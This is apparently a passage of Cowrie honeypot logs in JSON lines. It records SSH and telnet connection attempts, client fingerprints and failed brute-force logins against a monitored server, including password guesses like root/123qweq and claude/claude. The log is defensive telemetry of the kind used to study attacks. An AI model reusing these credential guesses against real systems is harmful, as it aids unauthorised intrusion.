{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:59:b9:04:92:79:ae:ee:9e:70:86:f1:f0:55:5f:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/ySWBv6xbqaAw/OMClX0jqcm7e0FMxv8u5Vd9XSabrZMs59EFluPNvmx9XMoXtDBBAOyJPIPs/OgAh9mYuFaV6kZOdxrxx7YGC2jGuZNuB4R7XD5JkMPSgm2kEQvZgWOWjjkQ6bXoP3GehFHF5G3RyCQQDsWtJX7hz4CDrAXxzKIh+lC+RDcIuqgdNjk5YM4k9EBntpBhP9Mm3Le/Vwu0CwvMa2v/AGgW/yjJPPVxnu2wiDs0LQTRk4Pt5/J4QofsI6iWI1P4b3V+JDJ5ReWFgs4kSVMXUhSJVv1422LYjDjNkCpq6OhBywPTLPIj80VEO04VJ4dTurOTBVBRal57","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:59:b9:04:92:79:ae:ee:9e:70:86:f1:f0:55:5f:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.337323Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:59:b9:04:92:79:ae:ee:9e:70:86:f1:f0:55:5f:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/ySWBv6xbqaAw/OMClX0jqcm7e0FMxv8u5Vd9XSabrZMs59EFluPNvmx9XMoXtDBBAOyJPIPs/OgAh9mYuFaV6kZOdxrxx7YGC2jGuZNuB4R7XD5JkMPSgm2kEQvZgWOWjjkQ6bXoP3GehFHF5G3RyCQQDsWtJX7hz4CDrAXxzKIh+lC+RDcIuqgdNjk5YM4k9EBntpBhP9Mm3Le/Vwu0CwvMa2v/AGgW/yjJPPVxnu2wiDs0LQTRk4Pt5/J4QofsI6iWI1P4b3V+JDJ5ReWFgs4kSVMXUhSJVv1422LYjDjNkCpq6OhBywPTLPIj80VEO04VJ4dTurOTBVBRal57","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.342921Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:ba:48:f6:d8:b2:c0:4f:84:10:a3:e3:b1:52:2a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6/MRujJq3Kg9DvYF9BUPGbXknY5rFo1XSc3nQCpFALBfwgnHYA7YwAYXkLG06A2NausvI8JsDX2lRVFhf4yaEtsSFampjkYUSDlZ6ouFDp3IWvcJwXez6u7CqjFqMgH/MeT3H30Eqpmdw4qVQV133ZD6mhT84lSe5NHvN/my9ei9F3B1moJsUVo1s5Kp8z2VthtNvq4jjSJ1oF1kw2anqpECHcVe9OHrsmcB4XwtnSMl4kfvyDb74AhRC0EusF1eRi92v4wewoHk+qc68YOblRqdgK82P5N+7QOTK46cTbblp3iQSLx2B2duCtm+/VwBK1NpJu8Rrgqf1DzcOveqdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:ba:48:f6:d8:b2:c0:4f:84:10:a3:e3:b1:52:2a:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.358835Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:ba:48:f6:d8:b2:c0:4f:84:10:a3:e3:b1:52:2a:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6/MRujJq3Kg9DvYF9BUPGbXknY5rFo1XSc3nQCpFALBfwgnHYA7YwAYXkLG06A2NausvI8JsDX2lRVFhf4yaEtsSFampjkYUSDlZ6ouFDp3IWvcJwXez6u7CqjFqMgH/MeT3H30Eqpmdw4qVQV133ZD6mhT84lSe5NHvN/my9ei9F3B1moJsUVo1s5Kp8z2VthtNvq4jjSJ1oF1kw2anqpECHcVe9OHrsmcB4XwtnSMl4kfvyDb74AhRC0EusF1eRi92v4wewoHk+qc68YOblRqdgK82P5N+7QOTK46cTbblp3iQSLx2B2duCtm+/VwBK1NpJu8Rrgqf1DzcOveqdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.362386Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.377363Z","src_ip":"206.212.242.68","session":"8d08b2cc6302","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:25.815071Z","src_ip":"115.178.75.242","session":"44adf66e3328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54794,"dst_ip":"159.203.135.109","dst_port":22,"session":"298c1d58698a","protocol":"ssh","message":"New connection: 109.237.96.109:54794 (159.203.135.109:22) [session: 298c1d58698a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:36.870907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:36.875435Z","src_ip":"109.237.96.109","session":"298c1d58698a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:36.969255Z","src_ip":"109.237.96.109","session":"298c1d58698a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweq","message":"login attempt [root/123qweq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:37.251723Z","src_ip":"109.237.96.109","session":"298c1d58698a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:38.348021Z","src_ip":"109.237.96.109","session":"298c1d58698a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e8c6a8c63fb","protocol":"ssh","message":"New connection: 163.227.230.54:59062 (159.203.135.109:22) [session: 1e8c6a8c63fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:41.191007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:41.195498Z","src_ip":"163.227.230.54","session":"1e8c6a8c63fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:41.435881Z","src_ip":"163.227.230.54","session":"1e8c6a8c63fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.69160604476929,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:42.078252Z","src_ip":"186.195.16.41","session":"924aabb1042f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:42.429563Z","src_ip":"163.227.230.54","session":"1e8c6a8c63fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:43.673198Z","src_ip":"163.227.230.54","session":"1e8c6a8c63fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":43406,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b26ea1cbdf6","protocol":"ssh","message":"New connection: 119.28.117.200:43406 (159.203.135.109:22) [session: 4b26ea1cbdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:49.350427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:49.354255Z","src_ip":"119.28.117.200","session":"4b26ea1cbdf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:49.599029Z","src_ip":"119.28.117.200","session":"4b26ea1cbdf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdabcd","message":"login attempt [root/abcdabcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:50.611941Z","src_ip":"119.28.117.200","session":"4b26ea1cbdf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:09:51.860448Z","src_ip":"119.28.117.200","session":"4b26ea1cbdf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":35194,"dst_ip":"159.203.135.109","dst_port":22,"session":"a350d6c96c38","protocol":"ssh","message":"New connection: 103.27.238.120:35194 (159.203.135.109:22) [session: a350d6c96c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:06.065776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:06.072924Z","src_ip":"103.27.238.120","session":"a350d6c96c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:06.336267Z","src_ip":"103.27.238.120","session":"a350d6c96c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jg3h4hfn","message":"login attempt [root/jg3h4hfn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:07.144130Z","src_ip":"103.27.238.120","session":"a350d6c96c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:08.414789Z","src_ip":"103.27.238.120","session":"a350d6c96c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43782,"dst_ip":"10.17.0.5","dst_port":23,"session":"478e732cb46f","protocol":"telnet","message":"New connection: 192.119.13.58:43782 (10.17.0.5:23) [session: 478e732cb46f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:08.492081Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":37124,"dst_ip":"159.203.135.109","dst_port":22,"session":"d031096c5871","protocol":"ssh","message":"New connection: 43.153.0.59:37124 (159.203.135.109:22) [session: d031096c5871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:25.151369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:25.156693Z","src_ip":"43.153.0.59","session":"d031096c5871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:25.225370Z","src_ip":"43.153.0.59","session":"d031096c5871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:25.533834Z","src_ip":"43.153.0.59","session":"d031096c5871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:26.604901Z","src_ip":"43.153.0.59","session":"d031096c5871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51522,"dst_ip":"10.17.0.5","dst_port":23,"session":"abce22b2f5bb","protocol":"telnet","message":"New connection: 192.119.13.58:51522 (10.17.0.5:23) [session: abce22b2f5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:40.636887Z"}
{"eventid":"cowrie.session.closed","duration":0.0046808719635009766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:40.641443Z","src_ip":"192.119.13.58","session":"abce22b2f5bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.38860750198364,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:10:50.880564Z","src_ip":"192.119.13.58","session":"478e732cb46f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60588,"dst_ip":"159.203.135.109","dst_port":22,"session":"28e2a9751328","protocol":"ssh","message":"New connection: 87.251.79.125:60588 (159.203.135.109:22) [session: 28e2a9751328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:07.574182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:07.581215Z","src_ip":"87.251.79.125","session":"28e2a9751328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:07.653706Z","src_ip":"87.251.79.125","session":"28e2a9751328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24crow","message":"login attempt [root/24crow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:07.873103Z","src_ip":"87.251.79.125","session":"28e2a9751328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:07.964620Z","src_ip":"115.190.168.136","session":"cf4a8563107d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:08.948949Z","src_ip":"87.251.79.125","session":"28e2a9751328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":56650,"dst_ip":"159.203.135.109","dst_port":22,"session":"20ac21a7a1e5","protocol":"ssh","message":"New connection: 163.227.230.54:56650 (159.203.135.109:22) [session: 20ac21a7a1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:11.656371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:11.660913Z","src_ip":"163.227.230.54","session":"20ac21a7a1e5","protocol":"ssh"}
